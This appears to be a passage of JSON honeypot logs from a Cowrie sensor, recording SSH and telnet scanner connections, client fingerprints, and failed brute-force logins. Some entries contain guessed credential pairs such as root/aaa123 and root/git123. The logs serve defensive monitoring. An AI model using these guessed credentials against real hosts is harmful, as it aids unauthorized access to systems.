penssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:31:44.078504Z","src_ip":"95.90.13.168","session":"b49203132cb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.194.10.248","src_port":33788,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c182de25452","protocol":"ssh","message":"New connection: 104.194.10.248:33788 (10.17.0.5:22) [session: 1c182de25452]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:31:44.429507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:31:44.434200Z","src_ip":"104.194.10.248","session":"1c182de25452","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:31:44.441115Z","src_ip":"104.194.10.248","session":"1c182de25452","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6f:07:cf:17:ee:64:43:45:ba:9b:5b:37:fc:42:5d:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLtDP+3D4b2kK9l9JfzlMZWd4QFB7GvKFfyh/1nismjikbEJdTZfFbfS5zY9IbzUVqz7Mc89dpmxSOQOgcx93j855beBSWDmTRlxHs5SCXpTKs4ngvMEP+q3lh1sM+zovbHiA3AixGUxpFQdLTpfo3ddSxn0+rysfaIRFyQIdXPpc9BOyina42z1WcWysKlUP0jHN0i71r0TgD69vRWF730C8sBo5CnfcsJ6IlNTGGlnagOS7MIFJY6qYUOyPaVyjWeVmF+Z2pqkDrQ5QwLm0Zb0W5U67x8OqM5ILpw83fsJaR4W+CzuLXG+KGEyO3YdN005SNkzoJfK5CgJmq9Qhn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6f:07:cf:17:ee:64:43:45:ba:9b:5b:37:fc:42:5d:97","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:31:44.455663Z","src_ip":"104.194.10.248","session":"1c182de25452","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6f:07:cf:17:ee:64:43:45:ba:9b:5b:37:fc:42:5d:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLtDP+3D4b2kK9l9JfzlMZWd4QFB7GvKFfyh/1nismjikbEJdTZfFbfS5zY9IbzUVqz7Mc89dpmxSOQOgcx93j855beBSWDmTRlxHs5SCXpTKs4ngvMEP+q3lh1sM+zovbHiA3AixGUxpFQdLTpfo3ddSxn0+rysfaIRFyQIdXPpc9BOyina42z1WcWysKlUP0jHN0i71r0TgD69vRWF730C8sBo5CnfcsJ6IlNTGGlnagOS7MIFJY6qYUOyPaVyjWeVmF+Z2pqkDrQ5QwLm0Zb0W5U67x8OqM5ILpw83fsJaR4W+CzuLXG+KGEyO3YdN005SNkzoJfK5CgJmq9Qhn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:31:44.459166Z","src_ip":"104.194.10.248","session":"1c182de25452","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"89:3d:e4:39:ad:86:1a:e4:27:17:7b:59:17:cb:94:86","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCv4jagjwd1hmlsfxCrgXqDeQNvRsctL6p5eUSxZ+nq2HX72eKCUHh3eI1C33b+d0Ara/tXRucZ5l5qpw/LNC63otyhl6J++UoBmxELEqNum6VnkEJp3josDbhnaxv4r+zVOIm7bee1ne2TU61V7/qICwNU8HQVE73zKvN4gzjbxv031mVGBsSW/RFj4/1cDKFsImGDOW3cCsmIJht9CQWgX0x3HXF2VlYCtzCshCLe+1n0nzlb1RQPGtkPanmzcinhInjDnObyyytLMzlQLEAAQHfkZoFMOGcqXAJCae6A6//98YyAAnuv9dCNDYWLvgTtlJ8Ijq3lTg2dU5uT6++H","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 89:3d:e4:39:ad:86:1a:e4:27:17:7b:59:17:cb:94:86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:31:44.465653Z","src_ip":"104.194.10.248","session":"1c182de25452","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"89:3d:e4:39:ad:86:1a:e4:27:17:7b:59:17:cb:94:86","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCv4jagjwd1hmlsfxCrgXqDeQNvRsctL6p5eUSxZ+nq2HX72eKCUHh3eI1C33b+d0Ara/tXRucZ5l5qpw/LNC63otyhl6J++UoBmxELEqNum6VnkEJp3josDbhnaxv4r+zVOIm7bee1ne2TU61V7/qICwNU8HQVE73zKvN4gzjbxv031mVGBsSW/RFj4/1cDKFsImGDOW3cCsmIJht9CQWgX0x3HXF2VlYCtzCshCLe+1n0nzlb1RQPGtkPanmzcinhInjDnObyyytLMzlQLEAAQHfkZoFMOGcqXAJCae6A6//98YyAAnuv9dCNDYWLvgTtlJ8Ijq3lTg2dU5uT6++H","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:31:44.468961Z","src_ip":"104.194.10.248","session":"1c182de25452","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fb:ac:73:8e:cd:c7:c6:9c:fa:2c:cd:5e:50:99:d9:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFuZ626J16hRfxvYcRyBuhzI1iVtKHHbGfe/NfQ5Bft9WzlUY4bWAWpn9qLG2wuC3tJiOzKcRvoITEfAuNrM9dEEvX2KWhqrbVOMjkNGzxPTqUt8vzMRnwP066BemLt8ObU1dWB4JO5BVzMyVTrdtXDEazApDmDDkje+MHSUbSPrOqrXYnVr0SJi0f9/6vKd7es3grBWIewMmmw1wtpObTZhZVDsVj3/gzR6p3s2+PARpL0GePMDKQATY3jBzNh+K4y6Nzwr22Wb3TzUyxnm6KQBjal3z1sbajAfz/JzeRRwn8eGS2Y/JK18kjDv6L9UWnqK8Jb6xwxuuZ4fTrK5hp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fb:ac:73:8e:cd:c7:c6:9c:fa:2c:cd:5e:50:99:d9:f3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:31:44.476971Z","src_ip":"104.194.10.248","session":"1c182de25452","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fb:ac:73:8e:cd:c7:c6:9c:fa:2c:cd:5e:50:99:d9:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFuZ626J16hRfxvYcRyBuhzI1iVtKHHbGfe/NfQ5Bft9WzlUY4bWAWpn9qLG2wuC3tJiOzKcRvoITEfAuNrM9dEEvX2KWhqrbVOMjkNGzxPTqUt8vzMRnwP066BemLt8ObU1dWB4JO5BVzMyVTrdtXDEazApDmDDkje+MHSUbSPrOqrXYnVr0SJi0f9/6vKd7es3grBWIewMmmw1wtpObTZhZVDsVj3/gzR6p3s2+PARpL0GePMDKQATY3jBzNh+K4y6Nzwr22Wb3TzUyxnm6KQBjal3z1sbajAfz/JzeRRwn8eGS2Y/JK18kjDv6L9UWnqK8Jb6xwxuuZ4fTrK5hp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:31:44.480442Z","src_ip":"104.194.10.248","session":"1c182de25452","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:dd:5e:3f:a2:8e:81:77:7f:bd:15:7b:93:48:a8:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpD6gqcDeDjtm9uC/zP+O91CEaDy4TzZIkQ8MrZRVsM4fHxBmT0S1WaxbGLy8wd266catjZLnBqPqz3K2y9tzma2hYqJoVFtJDvYquyqdnWPu+BEngMOh8TIYexpNrg7ZZkC1pXWtggEl46jQWIJYvjdtOf2H41QZSV7vcSA2cItY4tzP3ChWGaJ5gjEtM4lf6QBoL+FXmlWTGEIicoRf8vfYZUdRs19dm4gcf+qRll0UlBV2cLzflR2NWUb2p+YyWihUEUkHAgle+/Rofd5z6tKEaV1F+P97rMZTNHzicUVS92ipLaMH260Jblf2AysZ6SiYaA0qgw1d7XpKqYMHJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:dd:5e:3f:a2:8e:81:77:7f:bd:15:7b:93:48:a8:c2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:31:44.487634Z","src_ip":"104.194.10.248","session":"1c182de25452","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:dd:5e:3f:a2:8e:81:77:7f:bd:15:7b:93:48:a8:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpD6gqcDeDjtm9uC/zP+O91CEaDy4TzZIkQ8MrZRVsM4fHxBmT0S1WaxbGLy8wd266catjZLnBqPqz3K2y9tzma2hYqJoVFtJDvYquyqdnWPu+BEngMOh8TIYexpNrg7ZZkC1pXWtggEl46jQWIJYvjdtOf2H41QZSV7vcSA2cItY4tzP3ChWGaJ5gjEtM4lf6QBoL+FXmlWTGEIicoRf8vfYZUdRs19dm4gcf+qRll0UlBV2cLzflR2NWUb2p+YyWihUEUkHAgle+/Rofd5z6tKEaV1F+P97rMZTNHzicUVS92ipLaMH260Jblf2AysZ6SiYaA0qgw1d7XpKqYMHJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:31:44.491351Z","src_ip":"104.194.10.248","session":"1c182de25452","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:21:5b:3e:b7:d8:cc:6b:1c:90:c8:09:54:8c:35:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCk+IS72/ZzW1BMMtnuURcqquby0lB4TuMezCcIdqxo3IOEGntA0URrOD8GFdtOH1xKhXeG5z4mwXchhSDZSLb3Oj/+3leUYBJq3zlZSn3zvrTsy1gwaj3zH+E0oIfLMUP2hp1cCukIcvWdL1j4Ncs2zkmn2/4p9RkOtGErzvwVBPQk2hx92OUPmb0mWuTbRWhkEPUsmuLS7gEPe0drlrqug5zLnjJCQnbfYHfzRqf2ME6IDpBkThDkzk7fs+17o01XiImbZOa2oVmRx+fKw/6D3M0xZ3O7u0URKn/0MuUdSmLNzDxHWltKiyxO6n5roaCd6ahQ5nKofhko9I/RLnPD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:21:5b:3e:b7:d8:cc:6b:1c:90:c8:09:54:8c:35:e1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:31:44.500931Z","src_ip":"104.194.10.248","session":"1c182de25452","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:21:5b:3e:b7:d8:cc:6b:1c:90:c8:09:54:8c:35:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCk+IS72/ZzW1BMMtnuURcqquby0lB4TuMezCcIdqxo3IOEGntA0URrOD8GFdtOH1xKhXeG5z4mwXchhSDZSLb3Oj/+3leUYBJq3zlZSn3zvrTsy1gwaj3zH+E0oIfLMUP2hp1cCukIcvWdL1j4Ncs2zkmn2/4p9RkOtGErzvwVBPQk2hx92OUPmb0mWuTbRWhkEPUsmuLS7gEPe0drlrqug5zLnjJCQnbfYHfzRqf2ME6IDpBkThDkzk7fs+17o01XiImbZOa2oVmRx+fKw/6D3M0xZ3O7u0URKn/0MuUdSmLNzDxHWltKiyxO6n5roaCd6ahQ5nKofhko9I/RLnPD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:31:44.504318Z","src_ip":"104.194.10.248","session":"1c182de25452","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:31:44.515090Z","src_ip":"104.194.10.248","session":"1c182de25452","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:31:44.531641Z","src_ip":"95.90.13.168","session":"b49203132cb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:31:45.645086Z","src_ip":"95.90.13.168","session":"b49203132cb6","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:31:47.240882Z","src_ip":"8.218.166.49","session":"86d077eb34c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:31:47.244535Z","src_ip":"8.218.166.49","session":"86d077eb34c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":46556,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2d84d3aa267","protocol":"ssh","message":"New connection: 8.218.166.49:46556 (10.17.0.5:22) [session: c2d84d3aa267]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:32:09.537149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:32:09.650466Z","src_ip":"8.218.166.49","session":"c2d84d3aa267","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":59208,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cebf626ba9d","protocol":"ssh","message":"New connection: 14.63.196.175:59208 (10.17.0.5:22) [session: 7cebf626ba9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:32:16.736996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:32:16.742225Z","src_ip":"14.63.196.175","session":"7cebf626ba9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:32:16.940260Z","src_ip":"14.63.196.175","session":"7cebf626ba9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaa123","message":"login attempt [root/aaa123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:32:17.761541Z","src_ip":"14.63.196.175","session":"7cebf626ba9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:32:18.962173Z","src_ip":"14.63.196.175","session":"7cebf626ba9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":48642,"dst_ip":"10.17.0.5","dst_port":22,"session":"08847f83a0a7","protocol":"ssh","message":"New connection: 8.218.166.49:48642 (10.17.0.5:22) [session: 08847f83a0a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:32:21.362651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:32:21.375888Z","src_ip":"8.218.166.49","session":"08847f83a0a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.90.13.168","src_port":64102,"dst_ip":"10.17.0.5","dst_port":22,"session":"4133efb6726c","protocol":"ssh","message":"New connection: 95.90.13.168:64102 (10.17.0.5:22) [session: 4133efb6726c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:32:28.953515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:32:28.958045Z","src_ip":"95.90.13.168","session":"4133efb6726c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00157976150513,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:32:29.045454Z","src_ip":"181.115.174.31","session":"63da6714bf45","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:32:29.067177Z","src_ip":"95.90.13.168","session":"4133efb6726c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"git123","message":"login attempt [root/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:32:29.537156Z","src_ip":"95.90.13.168","session":"4133efb6726c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:32:30.650218Z","src_ip":"95.90.13.168","session":"4133efb6726c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.115.174.31","src_port":5101,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4a4982da62c","protocol":"telnet","message":"New connection: 181.115.174.31:5101 (10.17.0.5:23) [session: e4a4982da62c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:32:31.536482Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":53572,"dst_ip":"10.17.0.5","dst_port":22,"session":"6354e3aaff38","protocol":"ssh","message":"New connection: 8.218.166.49:53572 (10.17.0.5:22) [session: 6354e3aaff38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:32:37.077130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:32:37.085714Z","src_ip":"8.218.166.49","session":"6354e3aaff38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":33304,"dst_ip":"10.17.0.5","dst_port":22,"session":"14a3e1645a4f","protocol":"ssh","message":"New connection: 8.218.166.49:33304 (10.17.0.5:22) [session: 14a3e1645a4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:32:55.095836Z"}
